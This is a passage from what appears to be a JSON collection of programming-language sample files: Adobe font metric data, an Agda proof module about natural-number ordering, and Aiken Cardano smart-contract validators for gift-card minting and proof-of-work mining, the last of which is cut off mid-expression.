-236 405 699 ;\nC -1 ; WX 582 ; N Kcommaaccent ; B 28 -253 584 711 ;\nC -1 ; WX 620 ; N kcommaaccent ; B 11 -253 600 683 ;\nC -1 ; WX 620 ; N kgreenlandic ; B 11 -28 600 482 ;\nC -1 ; WX 602 ; N Lacute ; B 23 -14 583 923 ;\nC -1 ; WX 540 ; N lacute ; B 4 -28 538 902 ;\nC -1 ; WX 602 ; N Lcommaaccent ; B 23 -267 583 718 ;\nC -1 ; WX 540 ; N lcommaaccent ; B 4 -267 538 682 ;\nC -1 ; WX 602 ; N Lcaron ; B 23 -14 583 794 ;\nC -1 ; WX 582 ; N lcaron ; B 4 -28 549 704 ;\nC -1 ; WX 781 ; N Ldot ; B 23 -14 748 718 ;\nC -1 ; WX 571 ; N ldotaccent ; B 4 -28 538 682 ;\nC -1 ; WX 603 ; N Lslash ; B 24 -14 584 718 ;\nC -1 ; WX 541 ; N lslash ; B 4 -28 538 682 ;\nC -1 ; WX 627 ; N Nacute ; B 41 -15 595 894 ;\nC -1 ; WX 632 ; N nacute ; B 32 -23 612 696 ;\nC -1 ; WX 627 ; N Ncommaaccent ; B 41 -268 595 700 ;\nC -1 ; WX 632 ; N ncommaaccent ; B 32 -268 612 491 ;\nC -1 ; WX 627 ; N Ncaron ; B 41 -15 595 900 ;\nC -1 ; WX 632 ; N ncaron ; B 32 -23 612 712 ;\nC -1 ; WX 815 ; N napostrophe ; B 34 -23 795 704 ;\nC -1 ; WX 627 ; N Eng ; B 41 -320 595 700 ;\nC -1 ; WX 605 ; N eng ; B 32 -322 534 491 ;\nC -1 ; WX 616 ; N Omacron ; B 42 -30 574 815 ;\nC -1 ; WX 583 ; N omacron ; B 40 -34 543 598 ;\nC -1 ; WX 616 ; N Obreve ; B 42 -30 574 891 ;\nC -1 ; WX 583 ; N obreve ; B 40 -34 543 675 ;\nC -1 ; WX 616 ; N Ohungarumlaut ; B 42 -30 574 907 ;\nC -1 ; WX 583 ; N ohungarumlaut ; B 40 -34 545 693 ;\nC -1 ; WX 1018 ; N OE ; B 42 -30 967 702 ;\nC -1 ; WX 958 ; N oe ; B 40 -34 916 499 ;\nC -1 ; WX 636 ; N Racute ; B 14 -9 624 910 ;\nC -1 ; WX 579 ; N racute ; B 28 -16 566 693 ;\nC -1 ; WX 636 ; N Rcommaaccent ; B 14 -268 624 706 ;\nC -1 ; WX 579 ; N rcommaaccent ; B 28 -272 566 495 ;\nC -1 ; WX 636 ; N Rcaron ; B 14 -9 624 927 ;\nC -1 ; WX 579 ; N rcaron ; B 28 -16 566 698 ;\nC -1 ; WX 588 ; N Sacute ; B 51 -13 547 900 ;\nC -1 ; WX 519 ; N sacute ; B 48 -31 481 713 ;\nC -1 ; WX 588 ; N Scircumflex ; B 51 -13 547 904 ;\nC -1 ; WX 519 ; N scircumflex ; B 48 -31 481 710 ;\nC -1 ; WX 588 ; N Scedilla ; B 51 -145 547 690 ;\nC -1 ; WX 519 ; N scedilla ; B 48 -145 481 496 ;\nC -1 ; WX 588 ; N Scaron ; B 51 -13 547 904 ;\nC -1 ; WX 519 ; N scaron ; B 48 -31 481 710 ;\nC -1 ; WX 594 ; N Tcommaaccent ; B 25 -263 564 707 ;\nC -1 ; WX 510 ; N tcommaaccent ; B 0 -282 488 694 ;\nC -1 ; WX 594 ; N Tcaron ; B 25 1 564 920 ;\nC -1 ; WX 713 ; N tcaron ; B 0 -34 680 704 ;\nC -1 ; WX 594 ; N Tbar ; B 25 1 564 707 ;\nC -1 ; WX 510 ; N tbar ; B 0 -34 488 694 ;\nC -1 ; WX 621 ; N Utilde ; B 24 -6 611 850 ;\nC -1 ; WX 638 ; N utilde ; B 5 -28 624 636 ;\nC -1 ; WX 621 ; N Umacron ; B 24 -6 611 811 ;\nC -1 ; WX 638 ; N umacron ; B 5 -28 624 587 ;\nC -1 ; WX 621 ; N Ubreve ; B 24 -6 611 888 ;\nC -1 ; WX 638 ; N ubreve ; B 5 -28 624 665 ;\nC -1 ; WX 621 ; N Uring ; B 24 -6 611 959 ;\nC -1 ; WX 638 ; N uring ; B 5 -28 624 738 ;\nC -1 ; WX 621 ; N Uhungarumlaut ; B 24 -6 611 918 ;\nC -1 ; WX 638 ; N uhungarumlaut ; B 5 -28 624 691 ;\nC -1 ; WX 621 ; N Uogonek ; B 24 -136 611 710 ;\nC -1 ; WX 638 ; N uogonek ; B 5 -147 671 487 ;\nC -1 ; WX 643 ; N Wcircumflex ; B 8 0 614 901 ;\nC -1 ; WX 678 ; N wcircumflex ; B 5 -10 674 685 ;\nC -1 ; WX 561 ; N Ycircumflex ; B -21 -2 562 934 ;\nC -1 ; WX 592 ; N ycircumflex ; B 0 -232 596 691 ;\nC -1 ; WX 561 ; N Ydieresis ; B -21 -2 562 885 ;\nC -1 ; WX 592 ; N Zacute ; B 49 -1 551 905 ;\nC -1 ; WX 528 ; N zacute ; B 45 -22 487 684 ;\nC -1 ; WX 592 ; N Zdotaccent ; B 49 -1 551 866 ;\nC -1 ; WX 528 ; N zdotaccent ; B 45 -22 487 632 ;\nC -1 ; WX 592 ; N Zcaron ; B 49 -1 551 917 ;\nC -1 ; WX 528 ; N zcaron ; B 45 -22 487 688 ;\nC -1 ; WX 915 ; N AEacute ; B -11 -16 864 904 ;\nC -1 ; WX 888 ; N aeacute ; B 38 -23 846 670 ;\nC -1 ; WX 617 ; N Oslashacute ; B 43 -41 574 912 ;\nC -1 ; WX 583 ; N oslashacute ; B 40 -73 543 697 ;\nC -1 ; WX 415 ; N dotlessj ; B -12 -236 344 478 ;\nC -1 ; WX 281 ; N circumflex ; B 0 558 282 746 ;\nC -1 ; WX 281 ; N caron ; B 0 558 282 746 ;\nC -1 ; WX 281 ; N breve ; B 0 585 282 746 ;\nC -1 ; WX 132 ; N dotaccent ; B 0 600 133 729 ;\nC -1 ; WX 214 ; N ring ; B 0 547 215 780 ;\nC -1 ; WX 211 ; N ogonek ; B 0 -145 212 13 ;\nC -1 ; WX 283 ; N tilde ; B 0 583 284 701 ;\nC -1 ; WX 352 ; N hungarumlaut ; B 0 591 353 763 ;\nC -1 ; WX 185 ; N uni0312 ; B 28 474 152 694 ;\nC -1 ; WX 185 ; N uni0315 ; B 38 470 162 690 ;\nC -1 ; WX 192 ; N uni0326 ; B 32 -253 156 -33 ;\nC -1 ; WX 666 ; N mu ; B 24 -219 643 487 ;\nC -1 ; WX 643 ; N Wgrave ; B 8 0 614 895 ;\nC -1 ; WX 678 ; N wgrave ; B 5 -10 674 688 ;\nC -1 ; WX 643 ; N Wacute ; B 8 0 614 898 ;\nC -1 ; WX 678 ; N wacute ; B 5 -10 674 682 ;\nC -1 ; WX 643 ; N Wdieresis ; B 8 0 614 868 ;\nC -1 ; WX 678 ; N wdieresis ; B 5 -10 674 649 ;\nC -1 ; WX 561 ; N Ygrave ; B -21 -2 562 900 ;\nC -1 ; WX 592 ; N ygrave ; B 0 -232 596 666 ;\nC -1 ; WX 611 ; N endash ; B 50 270 551 391 ;\nC -1 ; WX 1113 ; N emdash ; B 51 270 1052 391 ;\nC -1 ; WX 265 ; N quoteleft ; B 41 390 217 704 ;\nC -1 ; WX 264 ; N quoteright ; B 54 390 230 704 ;\nC -1 ; WX 274 ; N quotesinglbase ; B 46 -138 223 176 ;\nC -1 ; WX 470 ; N quotedblleft ; B 41 390 422 704 ;\nC -1 ; WX 469 ; N quotedblright ; B 54 390 436 704 ;\nC -1 ; WX 479 ; N quotedblbase ; B 46 -138 428 176 ;\nC -1 ; WX 389 ; N dagger ; B 30 -16 359 724 ;\nC -1 ; WX 396 ; N daggerdbl ; B 35 -16 364 728 ;\nC -1 ; WX 316 ; N bullet ; B 50 246 266 479 ;\nC -1 ; WX 1063 ; N ellipsis ; B 52 -3 1016 245 ;\nC -1 ; WX 897 ; N perthousand ; B 33 -230 873 828 ;\nC -1 ; WX 296 ; N guilsinglleft ; B 44 149 232 434 ;\nC -1 ; WX 295 ; N guilsinglright ; B 63 149 251 434 ;\nC -1 ; WX 486 ; N fraction ; B -11 -53 501 748 ;\nC -1 ; WX 732 ; N Euro ; B 31 71 683 590 ;\nC -1 ; WX 757 ; N trademark ; B 60 303 703 693 ;\nC -1 ; WX 585 ; N partialdiff ; B 36 -47 553 772 ;\nC -1 ; WX 564 ; N product ; B 26 -17 534 707 ;\nC -1 ; WX 577 ; N minus ; B 63 282 514 395 ;\nC -1 ; WX 565 ; N approxequal ; B 59 137 513 522 ;\nC -1 ; WX 593 ; N notequal ; B 44 71 554 644 ;\nC -1 ; WX 1041 ; N fi ; B 20 -42 1041 702 ;\nC -1 ; WX 1013 ; N fl ; B 20 -29 1011 702 ;\nC -1 ; WX 292 ; N .notdef ; B 0 0 0 0 ;\nC -1 ; WX 0 ; N .null ; B 0 0 0 0 ;\nC -1 ; WX 292 ; N nonmarkingreturn ; B 0 0 0 0 ;\nEndCharMetrics\nStartKernData\nStartKernPairs 6408\nKPX quotedbl period -104\nKPX quotedbl comma -103\nKPX quotedbl Jcircumflex -34\nKPX quotedbl Aogonek -31\nKPX quotedbl Abreve -31\nKPX quotedbl Amacron -31\nKPX quotedbl AEacute -31\nKPX quotedbl Aacute -31\nKPX quotedbl Acircumflex -31\nKPX quotedbl Atilde -31\nKPX quotedbl Agrave -31\nKPX quotedbl Aring -31\nKPX quotedbl Adieresis -31\nKPX quotedbl AE -31\nKPX quotedbl J -34\nKPX quotedbl A -31\nKPX quotedbl quotedblbase -117\nKPX quotedbl quotesinglbase -117\nKPX quotedbl ellipsis -104\nKPX quotedbl slash -73\nKPX quotedbl ampersand -22\nKPX quotedbl four -27\nKPX ampersand Ycircumflex -40\nKPX ampersand Ygrave -40\nKPX ampersand Ydieresis -40\nKPX ampersand Yacute -40\nKPX ampersand Y -40\nKPX ampersand V -36\nKPX quotesingle period -97\nKPX quotesingle comma -97\nKPX quotesingle Jcircumflex -34\nKPX quotesingle Aogonek -31\nKPX quotesingle Abreve -31\nKPX quotesingle Amacron -31\nKPX hyphen T -28\nKPX hyphen one -68\nKPX hyphen B -25\nKPX hyphen seven -56\nKPX slash rcommaaccent -27\nKPX slash ncommaaccent -29\nKPX slash gcommaaccent -61\nKPX slash Jcircumflex -29\nKPX slash iogonek -26\nKPX slash ibreve -26\nKPX slash imacron -26\nKPX slash itilde -26\nKPX slash oslashacute -54\nKPX slash nacute -29\nKPX slash eng -29\nKPX slash ncaron -29\nKPX slash racute -27\nKPX slash scedilla -43\nKPX slash scircumflex -43\nKPX slash sacute -43\nKPX slash rcaron -27\nKPX slash ohungarumlaut -54\nKPX slash obreve -54\nKPX slash omacron -54\nKPX slash wgrave -23\nKPX slash wcircumflex -23\nKPX slash wdieresis -23\nKPX slash wacute -23\nKPX slash zdotaccent -41\nKPX J ebreve -32\nKPX J emacron -32\nKPX J edieresis -32\nKPX J ecircumflex -32\nKPX J egrave -32\nKPX J eacute -32\nKPX J e -32\nKPX J Aogonek -34\nKPX J Abreve -34\nKPX J Amacron -34\nKPX J AEacute -34\nKPX J Aacute -34\nKPX J Acircumflex -34\nKPX J Atilde -34\nKPX J Agrave -34\nKPX J Aring -34\nKPX J Adieresis -34\nKPX J AE -34\nKPX J A -34\nKPX J comma -29\nKPX J period -30\nKPX J v -29\nKPX J hyphen -30\nKPX J quotedblbase -34\nKPX J quotesinglbase -34\nKPX J guilsinglright -25\nKPX J guilsinglleft -25\nKPX J emdash -30\nKPX J endash -30\nKPX J guillemotright -25\nKPX J guillemotleft -25\nKPX J germandbls -36\nKPX J ellipsis -30\nKPX J slash -34\nKPX J p -28\nKPX J m -35\nKPX J b 54\nKPX K ycircumflex -60\nKPX K ygrave -60\nKPX K ydieresis -60\nKPX K yacute -60\nKPX K y -60\nKPX K wgrave -36\nKPX K wcircumflex -36\nKPX K wdieresis -36\nKPX K wacute -36\nKPX K w -36\nKPX K uogonek -25\nKPX K uhungarumlaut -25\nKPX K uring -25\nKPX K ubreve -25\nKPX K umacron -25\nKPX K utilde -25\nKPX K udieresis -25\nKPX K ucircumflex -25\nKPX K ugrave -25\nKPX K uacute -25\nKPX K u -25\nKPX K q -23\nKPX K oslashacute -28\nKPX K ohungarumlaut -28\nKPX K obreve -28\nKPX K omacron -28\nKPX K otilde -28\nKPX K odieresis -28\nKPX K ocircumflex -28\nKPX K ograve -28\nKPX K oacute -28\nKPX K eth -28\nKPX K oe -28\nKPX K oslash -28\nKPX K o -28\nKPX K dcaron -24\nKPX K d -24\nKPX K ccaron -27\nKPX K cdotaccent -27\nKPX K ccircumflex -27\nKPX K cacute -27\nKPX K ccedilla -27\nKPX K c -27\nKPX K ecaron -27\nKPX K eogonek -27\nKPX K edotaccent -27\nKPX K ebreve -27\nKPX K emacron -27\nKPX K edieresis -27\nKPX K ecircumflex -27\nKPX K egrave -27\nKPX K eacute -27\nKPX K e -27\nKPX K v -49\nKPX K hyphen -38\nKPX K guilsinglleft -24\nKPX K emdash -38\nKPX K endash -38\nKPX K guillemotleft -24\nKPX K b 49\nKPX L ycircumflex -36\nKPX L ygrave -36\nKPX L ydieresis -36\nKPX L yacute -36\nKPX L y -36\nKPX L wgrave -23\nKPX L wcircumflex -23\nKPX L wdieresis -23\nKPX L wacute -23\nKPX L w -23\nKPX L V -43\nKPX L Tcommaaccent -36\nKPX L Tbar -36\nKPX L Tcaron -36\nKPX L T -36\nKPX L quoteright -49\nKPX L v -32\nKPX L quoteleft -54\nKPX L quotedblright -49\nKPX L quotedblleft -54\nKPX L trademark -29\nKPX L backslash -50\nKPX L asterisk -30\nKPX trademark Aring -24\nKPX trademark Adieresis -24\nKPX trademark Yacute 29\nKPX trademark AE -24\nKPX trademark Y 29\nKPX trademark A -24\nKPX trademark b 31\nEndKernPairs\nEndKernData\nEndFontMetrics\n"
  },
  {
    "path": "samples/Adobe Font Metrics/lambda.afm",
    "content": "StartFontMetrics 2.0\nComment Generated by FontForge 20170719\nComment Creation Date: Sun Jul 23 23:14:02 2017\nFontName Greek_Lambda_Character-Regular\nFullName Greek_Lambda_Character Regular\nFamilyName Greek_Lambda_Character\nWeight Regular\nNotice (NONE. NADA. PUBLIC DOMAIN, BOI)\nItalicAngle 0\nIsFixedPitch false\nUnderlinePosition -175\nUnderlineThickness 90\nVersion 020.017\nEncodingScheme ISO10646-1\nFontBBox 33 -177 566 760\nStartCharMetrics 5\nC 13 ; WX 602 ; N uni000D ; B 0 0 0 0 ;\nC 32 ; WX 602 ; N space ; B 0 0 0 0 ;\nC -1 ; WX 602 ; N lambda ; B 33 0 566 760 ;\nC -1 ; WX 602 ; N .notdef ; B 50 -177 551 706 ;\nC -1 ; WX 0 ; N NULL ; B 0 0 0 0 ;\nEndCharMetrics\nEndFontMetrics\n"
  },
  {
    "path": "samples/Agda/NatCat.agda",
    "content": "module NatCat where\r\n\r\nopen import Relation.Binary.PropositionalEquality\r\n\r\n-- If you can show that a relation only ever has one inhabitant\r\n-- you get the category laws for free\r\nmodule\r\n  EasyCategory\r\n  (obj : Set)\r\n  (_⟶_ : obj → obj → Set)\r\n  (_∘_ : ∀ {x y z} → x ⟶ y → y ⟶ z → x ⟶ z)\r\n  (id : ∀ x → x ⟶ x)\r\n  (single-inhabitant : (x y : obj) (r s : x ⟶ y) → r ≡ s)\r\n  where\r\n\r\n  idʳ : ∀ x y (r : x ⟶ y) → r ∘ id y ≡ r\r\n  idʳ x y r = single-inhabitant x y (r ∘ id y) r \r\n\r\n  idˡ : ∀ x y (r : x ⟶ y) → id x ∘ r ≡ r\r\n  idˡ x y r = single-inhabitant x y (id x ∘ r) r\r\n\r\n  ∘-assoc : ∀ w x y z (r : w ⟶ x) (s : x ⟶ y) (t : y ⟶ z) → (r ∘ s) ∘ t ≡ r ∘ (s ∘ t)\r\n  ∘-assoc w x y z r s t = single-inhabitant w z ((r ∘ s) ∘ t) (r ∘ (s ∘ t))\r\n\r\nopen import Data.Nat\r\n\r\nsame : (x y : ℕ) (r s : x ≤ y) → r ≡ s\r\nsame .0 y z≤n z≤n = refl\r\nsame .(suc m) .(suc n) (s≤s {m} {n} r) (s≤s s) = cong s≤s (same m n r s)\r\n\r\n≤-trans : ∀ x y z → x ≤ y → y ≤ z → x ≤ z\r\n≤-trans .0 y z z≤n s = z≤n\r\n≤-trans .(suc m) .(suc n) .(suc n₁) (s≤s {m} {n} r) (s≤s {.n} {n₁} s) = s≤s (≤-trans m n n₁ r s)\r\n\r\n≤-refl : ∀ x → x ≤ x\r\n≤-refl zero = z≤n\r\n≤-refl (suc x) = s≤s (≤-refl x)\r\n\r\nmodule Nat-EasyCategory = EasyCategory ℕ _≤_ (λ {x}{y}{z} → ≤-trans x y z) ≤-refl same\r\n"
  },
  {
    "path": "samples/Aiken/multi.ak",
    "content": "use aiken/builtin\nuse aiken/bytearray\nuse aiken/dict\nuse aiken/hash.{blake2b_256}\nuse aiken/list\nuse aiken/transaction.{\n  InlineDatum, Input, Output, ScriptContext, Spend, Transaction,\n} as tx\nuse aiken/transaction/credential.{Address, PaymentCredential, ScriptCredential}\nuse aiken/transaction/value\n\ntype Action {\n  Mint(Int)\n  Burn\n}\n\ntype SpendTokenName =\n  ByteArray\n\nvalidator(creator: ByteArray) {\n  fn redeem(\n    // Each spend input checks for a token name matching the datum being burned\n    datum: SpendTokenName,\n    _r: Data,\n    ctx: ScriptContext,\n  ) {\n    let ScriptContext { transaction, purpose } = ctx\n\n    let Transaction { inputs, mint, .. } = transaction\n\n    expect Spend(own_ref) = purpose\n\n    expect Some(own_input) =\n      list.find(inputs, fn(input) { input.output_reference == own_ref })\n\n    let Input {\n      output: Output { address: Address { payment_credential, .. }, .. },\n      ..\n    } = own_input\n\n    expect ScriptCredential(own_validator_hash) = payment_credential\n\n    (\n      mint\n        |> value.from_minted_value\n        |> value.quantity_of(own_validator_hash, datum)\n    ) == -1\n  }\n\n  fn gift_card(rdmr: Action, ctx: ScriptContext) -> Bool {\n    // get values from transaction and purpose\n    let ScriptContext { transaction, purpose } = ctx\n\n    expect tx.Mint(policy_id) = purpose\n\n    let Transaction { inputs, mint, extra_signatories, outputs, .. } =\n      transaction\n\n    let minted_assets =\n      mint\n        |> value.from_minted_value\n        |> value.tokens(policy_id)\n        |> dict.to_pairs()\n\n    when rdmr is {\n      Mint(total) -> {\n        expect [input, ..] = inputs\n        // Base is created from serializing a utxo ref being spent. Thus this guarantees a unique base\n        let base = builtin.serialise_data(input.output_reference)\n        // Create a list of expected token names\n        let expected_minted_token_names =\n          create_expected_minted_nfts(base, total, [])\n        // Check contract creator is a signer of this tx\n        let signature_check =\n          list.any(extra_signatories, fn(n) { creator == n })\n        // Support multiple gift card creation by allowing a\n        // 'number of tokens minted' == 'outputs with datum being token name'\n        signature_check && check_mint_and_outputs(\n          minted_assets,\n          outputs,\n          expected_minted_token_names,\n          ScriptCredential(policy_id),\n        )\n      }\n      Burn ->\n        list.all(\n          minted_assets,\n          fn(asset) {\n            let Pair(_, amount) = asset\n            amount == -1\n          },\n        )\n    }\n  }\n}\n\nfn insert(self: List<a>, e: a, compare: fn(a, a) -> Ordering) -> List<a> {\n  when self is {\n    [] ->\n      [e]\n    [x, ..xs] ->\n      if compare(e, x) == Less {\n        [e, ..self]\n      } else {\n        [x, ..insert(xs, e, compare)]\n      }\n  }\n}\n\n// Check each minted token name is in the expected list, has quantity of 1,\n// and has a corresponding ouput with datum containing token name.\n// Otherwise fail\nfn check_mint_and_outputs(\n  minted_assets: Pairs<ByteArray, Int>,\n  outputs: List<Output>,\n  expected_assets: List<ByteArray>,\n  validator_cred: PaymentCredential,\n) -> Bool {\n  when minted_assets is {\n    [] -> True\n    [Pair(minted_asset_name, quantity), ..rest_assets] -> {\n      expect\n        list.any(\n          expected_assets,\n          fn(expected_asset) { expected_asset == minted_asset_name },\n        )\n\n      expect\n        list.any(\n          outputs,\n          fn(output) {\n            let Output { address, datum, .. } = output\n            datum == InlineDatum(minted_asset_name) && address.payment_credential == validator_cred\n          },\n        )\n\n      quantity == 1 && check_mint_and_outputs(\n        rest_assets,\n        outputs,\n        expected_assets,\n        validator_cred,\n      )\n    }\n  }\n}\n\nfn create_expected_minted_nfts(\n  base: ByteArray,\n  counter: Int,\n  accum: List<ByteArray>,\n) -> List<ByteArray> {\n  if counter == 0 {\n    accum\n  } else {\n    let token_name = blake2b_256(bytearray.push(base, counter))\n\n    let accum =\n      [token_name, ..accum]\n\n    create_expected_minted_nfts(base, counter - 1, accum)\n  }\n}\n"
  },
  {
    "path": "samples/Aiken/oneshot.ak",
    "content": "use aiken/dict\nuse aiken/list\nuse aiken/transaction.{OutputReference, ScriptContext, Transaction} as tx\nuse aiken/transaction/value\n\ntype Action {\n  Mint\n  Burn\n}\n\nvalidator(token_name: ByteArray, utxo_ref: OutputReference) {\n  fn gift_card(rdmr: Action, ctx: ScriptContext) -> Bool {\n    let ScriptContext { transaction, purpose } = ctx\n\n    expect tx.Mint(policy_id) = purpose\n\n    let Transaction { inputs, mint, .. } = transaction\n\n    expect [Pair(asset_name, amount)] =\n      mint\n        |> value.from_minted_value\n        |> value.tokens(policy_id)\n        |> dict.to_pairs()\n\n    when rdmr is {\n      Mint -> {\n        expect Some(_input) =\n          list.find(inputs, fn(input) { input.output_reference == utxo_ref })\n        amount == 1 && asset_name == token_name\n      }\n      Burn -> amount == -1 && asset_name == token_name\n    }\n  }\n}\n\nvalidator(token_name: ByteArray, policy_id: ByteArray) {\n  fn redeem(_d: Data, _r: Data, ctx: ScriptContext) -> Bool {\n    let ScriptContext { transaction, .. } = ctx\n\n    let Transaction { mint, .. } = transaction\n\n    expect [Pair(asset_name, amount)] =\n      mint\n        |> value.from_minted_value\n        |> value.tokens(policy_id)\n        |> dict.to_pairs()\n\n    amount == -1 && asset_name == token_name\n  }\n}\n"
  },
  {
    "path": "samples/Aiken/tunav2.ak",
    "content": "use aiken/builtin\nuse aiken/bytearray\nuse aiken/dict\nuse aiken/hash.{blake2b_256, sha2_256}\nuse aiken/interval.{Finite, Interval, IntervalBound}\nuse aiken/list\nuse aiken/math.{pow2}\nuse aiken/merkle_patricia_forestry.{Proof, from_root, insert}\nuse aiken/transaction.{\n  InlineDatum, Mint, Output, ScriptContext, Spend, Transaction,\n} as tx\nuse aiken/transaction/credential.{Address, Inline, ScriptCredential}\nuse aiken/transaction/value.{from_minted_value}\nuse fortuna\nuse fortuna/parameters.{\n  epoch_number, halving_number, initial_payout, miner_threshold,\n  miner_voting_period, supply_threshold, vote_threshold,\n}\nuse fortuna/types.{\n  BurnToken, FinalizeNomination, Genesis, MineTuna, Mining, NominateUpgrade,\n  Nominated, Redeem, Statev2, TunaAction, TunaUpgradeProcess, VotingToken,\n}\nuse fortuna/utils.{get_inline_datum, integer_to_bytes, resolve_output_reference}\nuse fortunav2.{\n  big_tuna_length, counter_length, expect_first, flip_hash, genesis_v2,\n  quantity_of, tokens, vote, voting_period,\n}\nuse hardfork.{calculate_emission}\nuse hardfork/hftypes.{Lock, NftForkAction}\n\ntype TunaSpendAction {\n  TokenVoteFor\n  TokenVoteAgainst\n  MinerVoteFor { output_index: Int, block_number: Int }\n  TransitionState { block_number: Int }\n}\n\ntype Miner {\n  Pkh(ByteArray, Data)\n  Nft { policy: ByteArray, name: ByteArray, output_index: Int, extra: Data }\n}\n\ntype MineAction {\n  MinePow(ByteArray, Miner, Proof)\n  Upgrade\n}\n\ntype TargetState {\n  nonce: ByteArray,\n  miner: ByteArray,\n  block_number: Int,\n  current_hash: ByteArray,\n  leading_zeros: Int,\n  target_number: Int,\n  epoch_time: Int,\n}\n\nvalidator(tunav2_minting_policy: ByteArray) {\n  fn mine(datum: Statev2, redeemer: MineAction, ctx: ScriptContext) -> Bool {\n    when redeemer is {\n      MinePow(nonce, miner, merkle_proof_list) -> {\n        let Statev2 {\n          block_number,\n          current_hash,\n          leading_zeros,\n          target_number,\n          epoch_time,\n          current_posix_time,\n          merkle_root,\n        } = datum\n\n        let ScriptContext { transaction, purpose } = ctx\n\n        expect Spend(own_reference) = purpose\n\n        let Transaction { inputs, outputs, validity_range, .. } = transaction\n\n        let Output { address: in_address, value: in_value, .. } =\n          resolve_output_reference(inputs, own_reference)\n\n        expect ScriptCredential(own_script_hash) = in_address.payment_credential\n\n        // Spend(0) requirement: Contract has only one output with the master token going back to itself\n        expect Some(own_output) =\n          list.find(\n            outputs,\n            fn(output: Output) { output.address == in_address },\n          )\n\n        let Output { datum: out_datum, value: out_value, .. } = own_output\n\n        // Time Range Span is 3 minutes or less\n        // We have a constant expectation of the transaction time range\n        expect Interval {\n          upper_bound: IntervalBound {\n            bound_type: Finite(upper_range),\n            is_inclusive: upper_is_inclusive,\n          },\n          lower_bound: IntervalBound {\n            bound_type: Finite(lower_range),\n            is_inclusive: lower_is_inclusive,\n          },\n        } = validity_range\n\n        let averaged_current_time =\n          ( upper_range - lower_range ) / 2 + lower_range\n\n        let serialized_miner = builtin.serialise_data(miner)\n\n        // Target state now includes a miner credential\n        let target =\n          TargetState {\n            nonce,\n            block_number,\n            epoch_time,\n            current_hash,\n            leading_zeros,\n            target_number,\n            miner: blake2b_256(serialized_miner),\n          }\n\n        let found_bytearray =\n          target\n            |> builtin.serialise_data()\n            |> sha2_256()\n            |> sha2_256()\n\n        let (found_target_number, found_leading_zeros) =\n          fortuna.format_found_bytearray(found_bytearray)\n\n        // Check output datum contains correct epoch time, block number, hash, and leading zeros\n        // Check for every divisible by 2016 block:\n        // - Epoch time resets\n        // - leading zeros is adjusted based on percent of hardcoded target time for 2016 blocks vs epoch time\n        // Spend(8) requirement: Expect Output Datum to be of type Statev2\n        expect Statev2 {\n          epoch_time: out_epoch_time,\n          block_number: out_block_number,\n          current_hash: out_current_hash,\n          leading_zeros: out_leading_zeros,\n          target_number: out_target_number,\n          current_posix_time: out_current_posix_time,\n          merkle_root: out_merkle,\n        }: Statev2 = get_inline_datum(out_datum)\n\n        let block_number_as_bytes = integer_to_bytes(out_block_number, \"\")\n\n        let expected_output_value =\n          value.from_asset(\n            tunav2_minting_policy,\n            bytearray.concat(fortunav2.big_tuna_prefix, own_script_hash),\n            1,\n          )\n            |> value.add(\n                tunav2_minting_policy,\n                bytearray.concat(\n                  fortunav2.counter_prefix,\n                  block_number_as_bytes,\n                ),\n                1,\n              )\n\n        and {\n          // Posix time is in milliseconds\n          // Spend(1) requirement: Time range span is 3 minutes or less and inclusive\n          !upper_is_inclusive,\n          lower_is_inclusive,\n          upper_range - lower_range <= 180000,\n          // In case you are wondering here is what enables pools\n          // A miner can be a pkh or an nft\n          // Nfts can come from any input, even validators\n          // So any validator logic can be enforced to run along with fortuna\n          // Spend(2) requirement: Validate miner is made the tx\n          when miner is {\n            Pkh(signer, _) -> list.has(transaction.extra_signatories, signer)\n            Nft { policy: nft_policy, name: nft_name, output_index, .. } -> {\n              let quantity =\n                utils.list_at(outputs, output_index).value\n                  |> value.to_dict\n                  |> dict.to_pairs\n                  |> quantity_of(nft_policy, nft_name)\n\n              quantity == 1\n            }\n          },\n          // Mining Difficulty Met\n          // Spend(3) requirement: Found difficulty is less than or equal to the current difficulty\n          // We do this by checking the leading zeros and the difficulty number\n          or {\n            found_leading_zeros > leading_zeros,\n            and {\n              found_leading_zeros == leading_zeros,\n              found_target_number < target_number,\n            },\n          },\n          // Spend(4) requirement: Input has master token\n          quantity_of(\n            in_value |> value.to_dict |> dict.to_pairs,\n            tunav2_minting_policy,\n            bytearray.concat(fortunav2.big_tuna_prefix, own_script_hash),\n          ) == 1,\n          // Spend(7) requirement: Output has same tokens as input\n          expected_output_value == value.without_lovelace(out_value),\n          // Spend(9) requirement: Check output has correct difficulty number, leading zeros, and epoch time\n          if block_number % epoch_number == 0 && block_number > 0 {\n            // use total epoch time with target epoch time to get difficulty adjustment ratio\n            // ratio maxes out at 4/1 and mins to 1/4\n            let total_epoch_time =\n              epoch_time + averaged_current_time - current_posix_time\n            let (adjustment_numerator, adjustment_denominator) =\n              fortuna.get_difficulty_adjustment(total_epoch_time)\n            // Now use ratio to find new leading zeros difficulty\n            let (new_difficulty, new_leading_zeroes) =\n              fortuna.get_new_difficulty(\n                target_number,\n                leading_zeros,\n                adjustment_numerator,\n                adjustment_denominator,\n              )\n\n            and {\n              new_leading_zeroes == out_leading_zeros,\n              new_difficulty == out_target_number,\n              0 == out_epoch_time,\n            }\n          } else {\n            let new_epoch_time =\n              epoch_time + averaged_current_time - current_posix_time\n\n            and {\n              leading_zeros == out_leading_zeros,\n              target_number == out_target_number,\n              new_epoch_time == out_epoch_time,\n            }\n          },\n          // Spend(10) requirement: Output posix time is the averaged current time\n          out_current_posix_time == averaged_current_time,\n          // Spend(11) requirement: Output block number is the input block number + 1\n          block_number + 1 == out_block_number,\n          // Spend(12) requirement: Output current hash is the found hash\n          out_current_hash == found_bytearray,\n          // Spend(13) requirement: Check output merkle is correct\n          insert(\n            merkle_root |> from_root,\n            found_bytearray |> blake2b_256,\n            found_bytearray,\n            merkle_proof_list,\n          ) == from_root(out_merkle),\n          // Spend(14) requirement: Data size doesn't exceed 1/4 tx size\n          serialized_miner\n            |> builtin.length_of_bytearray()\n            |> builtin.less_than_equals_integer(4096),\n          builtin.length_of_bytearray(nonce) <= 32,\n        }\n      }\n\n      Upgrade -> {\n        let ScriptContext { transaction, purpose } = ctx\n\n        expect Spend(own_reference) = purpose\n\n        let Transaction { redeemers, inputs, .. } = transaction\n\n        let Output { address, value, .. } =\n          resolve_output_reference(inputs, own_reference)\n\n        let upgrade_rdmr = expect_first(redeemers, Mint(tunav2_minting_policy))\n\n        expect FinalizeNomination { .. }: TunaAction = upgrade_rdmr\n\n        expect ScriptCredential(spend_hash) = address.payment_credential\n\n        let name = bytearray.concat(fortunav2.big_tuna_prefix, spend_hash)\n\n        value.quantity_of(value, 